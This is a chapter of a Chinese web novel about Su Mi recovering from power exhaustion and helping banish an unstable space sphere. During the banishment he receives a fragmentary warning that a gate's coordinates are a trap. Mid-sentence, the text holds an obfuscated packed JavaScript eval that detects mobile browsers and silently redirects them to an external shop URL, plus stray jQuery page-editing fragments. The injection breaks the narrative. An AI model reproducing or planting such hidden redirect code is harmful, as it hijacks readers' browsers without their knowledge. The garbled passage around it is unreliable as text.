黑暗。并非虚无,而是一种沉重、粘稠、仿佛浸泡在冰冷深海中的黑暗。意识在其中载沉载浮,破碎的感知片段如同失重的水母,缓慢漂移。
宿弥感觉自己正在坠落,又像是在无尽的虚空中漂浮。耳边是无声的轰鸣,眼前闪过扭曲的光斑和破碎的几何图形——那是过度使用“钥匙”权能、精神力严重透支后的典型症状。身体的感知遥远而模糊,只有左臂流痕的位置,传来一阵阵灼热与刺痛交织的钝痛,仿佛有熔岩在皮肤下缓慢流动,又像有冰冷的针在不断穿刺。
“钥匙印记”在意识深处黯淡地悬浮着,原本流畅的“灰白金银”纹路此刻显得晦暗、滞涩,边缘那丝新得的、来自B区“熔炉”的“锈痕”印记,也失去了之前读取信息时的微光,仿佛耗尽了能量。唯一还算“活跃”的,是印记核心处,那代表“稳固”权能的、如同磐石般的“色彩”基底,但它也显得异常疲惫,光芒微弱,勉强维持着印记本身不至于彻底涣散。
不知过了多久,或许是几小时,或许是几天,一丝微弱但持续的光感,穿透了黑暗的帷幕。随后,是声音,模糊而遥远,像是隔着厚厚的玻璃。有人在说话,语气里带着忧虑、急切,还有某种仪器运行的规律嗡鸣。
“……脑波仍在异常区间,但有稳定趋势……精神损伤评估为中度,伴有严重能量透支……‘钥匙印记’活性显著降低,但结构完整,无崩解迹象……需要静养,补充特殊调和剂……”
“……那东西……还在……稳定……但很危险……必须尽快处理……”
“……‘渔夫’……退走了……外围有残留痕迹……方向是东……可能回巢穴了……但这里不再安全……”
声音断断续续,时近时远。宿弥努力集中精神,想要听清,想要理解,但剧烈的头痛立刻袭来,像有无数根针在颅骨内搅拌。他闷哼一声,试图移动身体,却发现连抬起一根手指都做不到,只有流痕处的刺痛变得更加清晰。
“他好像有反应了!”一个声音靠近了些,是清荷,带着一丝不易察觉的放松。
“别动,宿弥,你能听见吗?尽量放松,你透支得很厉害,需要时间恢复。”昆图斯的声音响起,平和而带着安抚的力量,仿佛有一股温润的暖流随着话语渗入宿弥混乱的意识,稍稍缓解了那份尖锐的痛楚。
宿弥艰难地,几乎是用尽全部力气,才让眼皮颤动了一下,睁开了一条细缝。模糊的视野逐渐聚焦,他发现自己躺在一个陌生的房间里,身下是柔软的床铺,空气中弥漫着淡淡的草药和消毒水混合的气味。房间不大,陈设简单,但墙壁和天花板似乎都用某种吸音材料处理过,给人一种安静、私密的感觉。这似乎不是地下静室,而是一个医疗或休息室。
清荷、昆图斯、陆文渊,还有蹲在床尾、神色略显疲惫但眼睛依旧明亮的阿玄,都围在床边,关切地看着他。
“我……”宿弥想说话,喉咙却干涩得如同砂纸摩擦,只发出嘶哑的气音。
“别急,先喝点水。”陆文渊端来一杯温水,小心地扶着宿弥,让他就着吸管喝了几口。清凉的液体滑过喉咙,带来些许舒适感,也让他的意识更清醒了一些。
“我……昏迷了多久?”宿弥用气声问。
“三十六个小时左右。”清荷看了看腕表,“现在是第二天的傍晚。你透支得太厉害,精神和‘钥匙’力量都到了极限,还好昆图斯先生用特制的宁神调和剂稳住了你的情况,加上你自身的恢复力也不错。”
“那个……球……”宿弥想起了静室里那个恐怖的、缓缓旋转的“固化空间乱流球”,心有余悸。
提到这个,房间里的气氛立刻变得有些凝重。
“还在那里。”陆文渊推了推眼镜,表情严肃中带着一丝研究者的狂热,“我们用多重力场发生器暂时把它隔离在静室中心了。它……很稳定,出人意料的稳定。内部的空间乱流被你的权能‘定义’和‘固化’后,形成了一种极其罕见的、亚稳态的‘非欧几里得空间泡’。能量辐射虽然混乱,但总量并不高,而且被限制在球体内部,目前没有扩散迹象。但它非常……脆弱,任何不当的干扰都可能破坏其脆弱的平衡,导致内部混乱能量瞬间爆发,或者引发不可预测的空间畸变。”
“换句话说,那是个极度危险、但又蕴含着极高研究价值的‘炸弹’。”昆图斯补充道,眉头微蹙,“我们初步分析,它内部封存了‘渔夫’部分空间渗透力量的残响,你强行定义的‘混乱’状态的时空结构,以及阿玄最后干涉留下的、奇异的‘修正’痕迹。如果能安全地、逐步地解析它,我们或许能对‘渔夫’的空间能力本质、你的‘稳固’权能上限,乃至阿玄那种特殊干涉力量的原理,有突破性的了解。但这需要时间,和极度谨慎的操作。”
“而且,”清荷接口,语气冷峻,“那东西的存在本身,就像一颗不断散发着特殊波动的‘信标’。虽然目前被静室的防御和我们的隔离场屏蔽了大部分,但难保‘渔夫’或者其他对空间敏感的存在,不会在更近的距离感应到它。我们必须尽快决定如何处理它——是冒险研究,还是设法安全地‘拆除’或‘放逐’它。”
宿弥沉默地消化着这些信息。他还活着,大家也都还好,这已经是万幸。但留下的麻烦,一个比一个大。
“‘渔夫’呢?他受伤了?”宿弥问。
“从空间波动的残留痕迹和他退走时留下的些许血迹看,肯定受了伤,而且不轻。”阿玄舔了舔爪子,翡翠眼中闪过一丝冷意,“你的‘定义混乱’加上我的干扰,让他的空间渗透力量在核心连接点被严重扰乱甚至反噬,这相当于在他最精密的‘网’上强行打了个死结然后反向撕扯。他至少需要一段时间来平复空间反噬造成的内部‘场’紊乱,短期内应该无法再次发动那种程度的精准渗透了。但这也意味着,等他恢复,报复会来得更猛烈。而且,安全屋的位置彻底暴露了。”
“所以,我们必须转移。”陆文渊肯定道,“‘渔夫’知道这里,就算他暂时来不了,也可能通知‘老板’派其他人来。这里已经不安全。姜绾姐和钟老已经在安排撤离路线和新的据点,预计最迟后天清晨行动。在这之前,我们需要处理好那个‘空间球体’,并尽量清除我们在这里活动过的痕迹。”
转移……宿弥心头一沉。这意味着又要离开一个刚刚熟悉、本以为能安稳一阵子的地方,重新投入不确定和危险中。但这是唯一的出路。
“我……还能动吗?需要我做什么?”宿弥挣扎着想坐起来,却被一阵眩晕和无力感按了回去。
“你现在最重要的任务就是休息和恢复。”昆图斯按住他,语气不容置疑,“你的精神海受了震荡,‘钥匙印记’需要时间自我修复和适应新的力量应用。关于那个空间球体……或许等你恢复一些,能提供一些独特的视角,毕竟它是你的力量‘参与制造’的。但现在,你先好好躺着。”
“对了,”阿玄跳上床沿,凑近宿弥,翡翠般的眼睛认真地看着他,“你昏迷的时候,有没有感觉到什么……特别的?比如,梦境?幻象?或者,‘钥匙印记’有没有传递什么新的……信息?”
宿弥仔细回忆了一下那片黑暗和混乱,摇了摇头:“只有混乱和疼痛……还有,感觉印记本身很黯淡,很累。那丝‘锈痕’也没什么反应。”
阿玄眼中闪过一丝思索,但没有再多问。
接下来的两天,宿弥在药物的辅助和自身顽强的恢复力下,情况迅速好转。头痛和眩晕感逐渐减轻,精神也慢慢振作起来。虽然“钥匙印记”依旧有些滞涩,对“稳固”能力的调动也远不如前灵活有力,但基本的行动和思考已经无碍。他坚持要参与到撤离的准备工作中,至少了解情况。
那个“固化空间乱流球”依旧是最大的难题和潜在风险。昆图斯和陆文渊在极其严密的防护下,对它进行了多次非接触式的扫描和能量谱分析。结果令人既振奋又头疼。
振奋的是,他们从球体内部混乱的能量和时空结构中,解析出了一些属于“渔夫”空间能力的、极其细微但特征鲜明的“频率指纹”和“结构模式”。这或许能帮助他们未来开发出针对性的干扰或防御手段。同时,也捕捉到了宿弥“定义混乱”权能留下的、独特的“意志烙印”,这对理解“钥匙”权能的运作方式和潜力有巨大价值。
头疼的是,这个球体极其不稳定,任何试图深入探查或移动它的尝试,都会引发其内部结构的剧烈震荡,有瞬间失控的风险。而且,正如清荷所担心的,它确实在不断散发一种极其微弱、但性质特殊的“空间余波”,像一种只有特定“接收器”才能捕捉到的低频“信标”。安全屋的多重屏蔽能阻隔大部分,但无法完全消除。时间一长,风险倍增。
最终,在撤离前夜,团队做出了一个艰难而大胆的决定。
“我们不能带走它,太危险,路上任何意外都可能导致灾难。就地‘拆除’风险同样极高,可能引发大范围空间扰动,暴露我们的撤离行动。最稳妥的办法……”昆图斯看着众人,缓缓道,“是利用我们刚刚解析出的、关于它内部‘渔夫’力量残留的‘频率指纹’,结合宿弥你与它的‘权能联系’,以及阿玄的空间干涉天赋,尝试对它进行一次‘精确定向转移’。”
“定向转移?”宿弥不解。
“简单说,就是利用‘渔夫’残留力量作为‘牵引’和‘坐标’,阿玄干扰并短暂‘撬开’一条极不稳定的微型空间通道,然后由你用‘稳固’权能(哪怕很弱)进行‘引导’和‘校准’,将这个球体‘扔’进一个预设好的、遥远且相对‘安全’的亚空间缝隙或者空间乱流区里去。”陆文渊解释道,手指在平板上快速划动,展示着复杂的能量模型和通道模拟,“风险在于,通道构建和引导过程稍有差池,球体可能在我们眼前爆炸,或者被错误地抛到未知的、可能更危险的地方,甚至引来不可预知的麻烦。而且,这个过程会消耗你和阿玄大量精力,可能影响你后续的恢复。”
宿弥和阿玄对视一眼。阿玄轻轻点了点头,眼中是跃跃欲试的光芒:“理论上有可行性。总比留着这个定时炸弹,或者冒险带走强。干了!”
宿弥深吸一口气,感受着体内依旧有些虚浮但已不再刺痛的力量,点了点头:“我加入。需要我怎么做?”
计划在高度保密和精密准备下进行。所有非必要人员撤离到安全距离以外。静室内,只留下昆图斯、陆文渊、宿弥和阿玄。昆图斯布置了一个小型的、用于稳定局部空间和隔绝能量外泄的临时场域。陆文渊则操控着数台精密的仪器,锁定着悬浮在隔离力场中心的、缓缓旋转的、内部光影变幻不定的“空间球体”。
阿玄蹲在宿弥肩头,翡翠眼紧盯着球体,周身开始散发出一种奇异的、仿佛能“软化”空间结构的波动。宿弥则闭上眼睛,努力集中精神,尝试与脑海中的“钥匙印记”沟通。印记依旧黯淡,但在他坚持不懈的呼唤下,那代表“稳固”的磐石基底,终于再次亮起了微弱但稳定的光芒。
“开始!”昆图斯低喝一声,启动了稳定场域。
阿玄眼中银光大盛,无形的干涉力量如同最灵巧的探针,刺入球体周围那脆弱的亚稳态空间结构,寻找着、引导着内部属于“渔夫”的、那些混乱但带有其独特“印记”的空间力量残响。这个过程异常精细,如同在满是裂痕的琉璃上雕刻,稍有不慎便会引发连锁崩溃。
宿弥感到一股奇异的空间“张力”开始弥漫,仿佛有什么无形的、紧绷的弦正在被缓缓拨动。他不敢分心,将全部意念集中在“钥匙印记”上,努力感知着阿玄正在引导的那股力量,并用自己微弱但纯粹的“稳固”意念,尝试去“触摸”和“安抚”球体内部那被强行“定义”的混乱状态,为阿玄的操作提供一层薄薄的、但至关重要的“保护”和“引导”。
陆文渊紧盯着屏幕,快速报出一连串数据:“目标频率锁定……空间褶皱正在形成……通道雏形不稳定,波动值超过阈值5%……宿弥,加大‘稳固’输出,目标区域左前方3.7度……”
宿弥额头渗出细密的汗珠,咬着牙,将更多的精神力压榨出来,注入印记。那磐石般的光芒略微明亮了一丝,一股更清晰的、带着“锚定”和“引导”意味的波动,小心翼翼地探向阿玄正在构建的、那极其脆弱扭曲的微型空间通道入口。
“就是现在!阿玄,推动!宿弥,引导方向,坐标预设点G-7,亚空间漂流区!”陆文渊的声音带着一丝紧张。
阿玄发出一声低沉的、充满力量感的嘶鸣,干涉力量猛地一“推”!那缓缓旋转的“空间球体”,仿佛被无形的巨手拨动,猛地加速旋转,同时开始向着阿玄和宿弥共同维持的那个、闪烁着不稳定幽光的、仅有拳头大小的微型空间通道入口“滑”去!
宿弥感到一股巨大的、混乱的空间“吸力”传来,仿佛要将他整个人的精神都拖入那个通道!他死死稳住“稳固”意念,如同在惊涛骇浪中把住船舵,努力将那球体的“运动轨迹”,向预设的、遥远的、充满无害空间乱流的坐标点“修正”。
球体接触到了通道入口。刹那间,静室内的光线发生了诡异的扭曲,仪器发出刺耳的警报!但就在这千钧一发之际——
球体内部,一点微不可查的、属于“渔夫”力量的、带着其独特“印记”的细微残响,仿佛被这剧烈的“转移”过程所激发,突然与通道另一端的、遥远虚空中某个相似的、微弱的“频率”产生了瞬间的、极其短暂的“共鸣”!
嗡!
一声极其轻微、但清晰传入在场每个人(和阿玄)感知中的、带着空间震颤感的嗡鸣响起!
紧接着,在球体即将完全没入通道的最后一刹那,一段破碎的、充满惊恐和绝望情绪的、仿佛来自遥远彼端的意念碎片,如同被这股共鸣“拉扯”出来,顺着那脆弱的连接,猛地“溅射”到了宿弥正在全力维持引导的“稳固”意念之中!
“……不!别过来!坐标是……陷阱!‘门’是……单向的!他们……都在……啊——!!!”
那意念碎片包含着混乱的空间坐标片段、扭曲的尖叫、以及最后戛然而止的、仿佛被什么恐怖存在瞬间吞噬的、令人毛骨悚然的寂静
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153754|196483||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
下一秒,空间球体彻底没入通道,微型通道入口在阿玄的控制下瞬间合拢、消失。静室内那令人窒息的张力骤然消失,只留下仪器运行的嗡嗡声,以及四个人(一猫)粗重的喘息。
成功了。那个危险的“空间球体”被成功转移到了预设的、遥远的亚空间乱流区。
但每个人的脸上,都没有多少轻松的表情。
刚才那瞬间的、来自未知远方的、充满警示和绝望的意念碎片,像一道冰冷的闪电,劈开了暂时的成功带来的些微喜悦。
“刚才……那是什么?”宿弥脸色苍白,刚才那段意念碎片的冲击,让他本就虚弱的精神再次受创,太阳穴突突直跳。
阿玄从宿弥肩头跳下,翡翠眼中充满了前所未有的凝重和困惑:“是……空间残留信息?不,更像是某个正在经历空间传送、或者说……空间灾难的‘意识体’,在最后一刻爆发的、被其自身空间力量‘烙印’下来的、绝望的‘呼喊’……被‘渔夫’力量残响偶然‘共鸣’并‘捕获’,然后在我们转移球体、空间剧烈波动时,被‘甩’了出来,碰巧被宿弥你的‘稳固’意念接收到了。”
“坐标是陷阱?‘门’是单向的?他们都在?”昆图斯缓缓重复着那些破碎的词句,脸色极其难看,“这听起来像是……某个探索队,或者一群人,通过一扇‘门’前往某个坐标,却发现那是陷阱,而且那扇‘门’只能进不能出?所有人……都陷在了那边?”
“而且,那段意念碎片中蕴含的空间坐标感……虽然破碎,但隐约指向的方位……”陆文渊快速操作着仪器,调出刚刚记录下的、极其微弱的数据波动,声音有些发干,“和我们之前监测到的、北方那个‘古老门户’发送信号的大致方向……有某种程度的吻合。”
静室内一片死寂。
北方的“古老门户”,“老板”试图联系的、可能是陷阱的“坐标”,单向的“门”,以及陷入其中的、未知的“他们”……这些碎片信息拼凑在一起,指向了一个令人不寒而栗的可能性。
“‘老板’掌握的、与北方‘门户’通讯的渠道,获取的信息,或者说,他试图前往的‘坐标’……可能是一个致命的陷阱?”清荷的声音从通讯器中传来,她一直在外面警戒,也听到了刚才的对话,语气冷得像冰。
“不止如此。”阿玄舔了舔有些干的鼻子,翡翠眼中光芒闪烁,“那段意念碎片中充满了极度的惊恐和绝望,而且最后戛然而止……‘他们都在’,然后呢?是全都遇难了,还是被困住了?发出这警告的,又是谁?是更早的探索者?还是……和‘老板’有关的人?”
“而且,‘渔夫’力量的残响,为什么会和那个遥远坐标的意念产生共鸣?”宿弥提出最关键的问题,“难道‘渔夫’去过那里?或者,他的空间能力,与那个坐标、那个‘门’,有某种渊源?”
疑问一个接一个,非但没有因为转移了危险的“空间球体”而减少,反而引出了更多、更深的谜团和危机。
“看来,我们的‘陷阱’计划,需要重新评估了。”昆图斯缓缓道,目光扫过众人,“如果‘老板’试图联系的,或者试图前往的,本身就是一个致命的陷阱,那我们贸然介入,或者尝试截获他的通讯,很可能把我们自己也送入虎口。但另一方面,这或许也是一个机会……一个了解‘老板’真正目标、以及那个北方‘门户’背后真相的机会。”
“前提是,我们得先弄清楚,那段警告到底是什么意思,以及,‘渔夫’和那一切,到底有什么关系。”陆文渊合上平板,表情严肃。
“先离开这里。”清荷的声音再次响起,带着不容置疑的决断,“撤离程序已经启动。所有痕迹清理将在两小时内完成。我们带上所有能带走的资料和设备,前往3号备用据点。这些问题,路上再讨论。宿弥,阿玄,你们需要休息。昆图斯,陆博士,加快进度。”
众人点头。危险的空间球体虽然处理了,但一个更庞大、更诡异的谜团阴影,已然笼罩下来。而“渔夫”的袭击,北方门户的信号,神秘的警告,以及即将开始的转移……一切都预示着,真正的风暴,或许才刚刚开始酝酿。
第四十四次置换,在解决一个迫在眉睫的危机(空间球体)的同时,意外地揭开了一个更深远、更危险的秘密一角。用“处理隐患的风险”与“精力消耗”,交换了“关于北方门户可能陷阱的警告”、“与‘渔夫’能力潜在关联的线索”,以及“对‘老板’真实意图的更深疑虑”。前路愈发迷雾重重,但也似乎隐约透出通往核心的路径。
猫咪的私密日记片段(044)
宿弥苏醒,恢复中。团队决定转移。“固化空间乱流球”经研究,蕴含“渔夫”能力特征与宿弥“定义混乱”烙印,具研究价值但更危险。
团队制定“精确定向转移”方案,由阿玄撬动空间,宿弥引导,将球体抛入预设亚空间乱流区。
转移过程中,意外触发球体内“渔夫”力量残响与遥远未知坐标的“共鸣”,宿弥接收到一段来自未知探索者的、充满绝望的空间意念碎片警告:“坐标是陷阱!门是单向的!他们都在……”
警告指向北方“古老门户”相关坐标,暗示“老板”目标可能是陷阱,且有人员(可能包括“老板”手下或更早探索者)已陷落。“渔夫”力量与警告坐标产生共鸣,引发其可能与陷阱或“门”有关的猜测。
第四十四次置换(风险处理/意外信息获取):以“处理空间球体的风险与精力消耗” 为代价,交换 “关于北方坐标可能是陷阱的关键警告” + “‘渔夫’可能与陷阱/门户有关的线索” + “对‘老板’意图的危险性重新评估”。成功消除眼前威胁,但引出更深远、更致命的谜团。
连锁反应更新:安全屋将放弃,团队转移至3号备用据点。“老板”北方通讯目标疑为陷阱,其意图与危险性需重新研判。“渔夫”与陷阱/门户的关联成为新调查方向。神秘警告发出者的身份与命运成谜。
蝴蝶效应系数累计:12.58。总体进度:44%。故事进入“战略转移”与“深入谜局”新阶段。获得颠覆性警告,避免未来可能踏入致命陷阱,但整体局势复杂性剧增。“渔夫”的真实身份与目的变得更加关键。
注:阿玄与宿弥的配合愈发默契。空间意念碎片的传递方式展示了“场”与“信息”交互的另一种可能。警告内容将深刻影响后续所有与北方门户相关的决策。
——阿玄
夜色渐深,栖霞山安全屋内,最后的清理和撤离准备工作正在无声而迅速地进行。宿弥靠在床头,望着窗外沉沉的夜色,脑海中反复回响着那段绝望的警告。
坐标是陷阱。门是单向的。他们都在。
“他们”是谁?“老板”知道这个陷阱吗?如果知道,他为何还要寻求联系甚至前往?如果不知道……那他岂不是也在走向毁灭?
而“渔夫”……在这盘越来越大的棋局中,究竟扮演着怎样的角色?
无人知晓答案。只有夜风穿过山林,带来远方未知的低语。